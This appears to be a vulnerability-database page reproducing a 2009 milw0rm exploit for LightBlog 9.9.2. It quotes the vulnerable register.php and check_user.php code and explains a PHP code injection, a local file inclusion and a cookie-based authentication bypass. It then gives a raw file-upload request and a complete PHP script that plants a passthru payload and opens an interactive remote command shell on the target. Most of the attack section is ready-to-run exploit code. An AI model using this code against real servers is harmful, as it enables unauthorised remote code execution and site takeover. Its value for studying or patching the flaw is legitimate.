Lucene search
K

LightBlog <= 9.9.2 (register.php) Remote Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 29 Views

LightBlog <= 9.9.2 (register.php) Remote Code Execution Exploit, Vulnerable code in /register.php and /check_user.php, Disclosure timelin

Code

                                                &#60;?

/*
	---------------------------------------------------------------
	LightBlog &#60;= 9.9.2 (register.php) Remote Code Execution Exploit
	---------------------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://www.publicwarehouse.co.uk/
	demo.....: http://www.bailey-projects.com/projects/1/lightblog/

	This PoC was written for educational purpose. Use it at your own risk.
	Author will be not responsible for any damage.

	[-] vulnerable code in /register.php

	58.	    $username_towrite = stripslashes(htmlspecialchars($_POST[&#39;username_post&#39;], ENT_QUOTES));
	59.	    $password_towrite = stripslashes(md5(htmlspecialchars($_POST[&#39;pwd1_post&#39;], ENT_QUOTES)));
	60.	    $name_towrite = stripslashes(htmlspecialchars($_POST[&#39;name_post&#39;], ENT_QUOTES));
	61.	    $email_towrite = stripslashes(htmlspecialchars($_POST[&#39;email_post&#39;], ENT_QUOTES));
	62.	
	63.	    $newaccountfile = &#34;./accounts/{$username_towrite}.php&#34;;
	64.	                         
	65.	    $details = &#34;&#60;?php
	66.	                \$password = \&#34;{$password_towrite}\&#34;;
	67.	                \$name = \&#34;{$name_towrite}\&#34;;
	68.	                \$email = \&#34;{$email_towrite}\&#34;;
	69.	                \$type = \&#34;member\&#34;;
	70.	                \$location = \&#34;\&#34;;
	71.	                \$aboutme = \&#34;\&#34;;
	72.	                \$website = \&#34;\&#34;;
	73.	                ?&#62;&#34;;
	74.	
	75.	    $fd = fopen ($newaccountfile, &#34;w&#34;);
	76.	    chmod($newaccountfile, 0777);
	77.	    fwrite ($fd, $details);
	78.	    fclose($fd);

	An attacker could be able to inject and execute arbitrary PHP code due to new accounts are saved
	with &#34;php&#34; extension. This is possible because input is not properly sanitised, so you can use
	&#34;complex curly syntax&#34;, which allows to put complex expressions into string definitions.

	[-] vulnerable code in /check_user.php

	6.	if(isset($_COOKIE[&#39;Lightblog_username&#39;]) and isset($_COOKIE[&#39;Lightblog_password&#39;])){
	7.	
	8.	    $username_cookie = $_COOKIE[&#39;Lightblog_username&#39;];
	9.	    $password_cookie = $_COOKIE[&#39;Lightblog_password&#39;];
	10.	
	11.	    if(file_exists(&#34;./accounts/{$username_cookie}.php&#34;)){
	12.	
	13.	        include(&#34;./accounts/{$username_cookie}.php&#34;);
	14.	
	15.	        if($password_cookie != $password){
	16.	            
	17.	            setcookie(&#34;Lightblog_password&#34;, &#34;&#34;, time()-9999999);
	18.	            setcookie(&#34;Lightblog_username&#34;, &#34;&#34;, time()-9999999);
	19.	            echo &#34;&#60;script&#62;location.replace(&#39;login.php&#39;)&#60;/script&#62;&#34;;
	20.	            exit; 
	21.	
	22.	        } else { 
	23.	            $username = $username_cookie;
	24.	            $user = true; 
	25.	        }

	In addition to the LFI (line 13), an attacker could be able to bypass the authentication by
	setting special crafted cookies. So anyone can access to cp_*.php and is able to to upload
	arbitrary file or put malicious php code into e.g. settings.php. Arbitrary file upload poc:

	POST /lightblog/cp_preview.php HTTP/1.0
	Host: localhost
	Cookie: Lightblog_password=; Lightblog_username=../header
	Content-Length: 166
	Content-Type: multipart/form-data; boundary=o0oOo0o
	Connection: close

	--o0oOo0o
	Content-Disposition: form-data; name=&#34;image&#34;; filename=&#34;poc.php&#34;

	&#60;?php evil_code(); ?&#62;
	--o0oOo0o--


	[-] Disclosure timeline:
		
	[21/04/2009] - Bug discovered
	[22/04/2009] - Vendor contacted but no response
	[25/04/2009] - Vendor contacted again still no response
	[26/04/2009] - Vendor has deleted any reference to LighBlog on his site (???)
	[27/04/2009] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set(&#34;default_socket_timeout&#34;, 5);

function http_send($host, $packet)
{
	if (($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) == false)
	  die(&#34;\nsocket_create(): &#34; . socket_strerror($s) . &#34;\n&#34;);

	if (socket_connect($s, $host, 80) == false)
	  die(&#34;\nsocket_connect(): &#34; . socket_strerror(socket_last_error()) . &#34;\n&#34;);

	socket_write($s, $packet, strlen($packet));
	while ($m = socket_read($s, 2048)) $response .= $m;

	socket_close($s);
	return $response;
}

print &#34;\n+-------------------------------------------------------------------------+&#34;;
print &#34;\n| LightBlog &#60;= 9.9.2 (register.php) Remote Code Execution Exploit by EgiX |&#34;;
print &#34;\n+-------------------------------------------------------------------------+\n&#34;;

if ($argc &#60; 3)
{
	print &#34;\nUsage......: php $argv[0] host path\n&#34;;
	print &#34;\nExample....: php $argv[0] localhost /&#34;;
	print &#34;\nExample....: php $argv[0] localhost /lightblog/\n\n&#34;;
	die();
}

$host = $argv[1];
$path = $argv[2];

$code = rawurlencode(&#39;{${error_reporting(0)}}{${print(_code_)}}{${passthru(base64_decode($_SERVER[HTTP_CMD]))}}{${die}}&#39;);

$payload = &#34;username_post=test&pwd1_post=test&pwd2_post=test&name_post=test&email_post={$code}&#34;;
$packet  = &#34;POST {$path}register.php HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Content-Length: &#34;.strlen($payload).&#34;\r\n&#34;;
$packet .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\n&#34;;
$packet .= $payload;

http_send($host, $packet);

$packet  = &#34;GET {$path} HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Cookie: Lightblog_password=; Lightblog_username=test\r\n&#34;;
$packet .= &#34;Cmd: %s\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\n&#34;;

while(1)
{
	print &#34;\nlightblog-shell# &#34;;
	if (($cmd = trim(fgets(STDIN))) == &#34;exit&#34;) break;
	$response = http_send($host, sprintf($packet, base64_encode($cmd)));
	preg_match(&#34;/_code_/&#34;, $response) ? print array_pop(explode(&#34;_code_&#34;, $response)) : die(&#34;\n[-] Exploit failed\n&#34;);
}

?&#62;

# milw0rm.com [2009-04-27]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation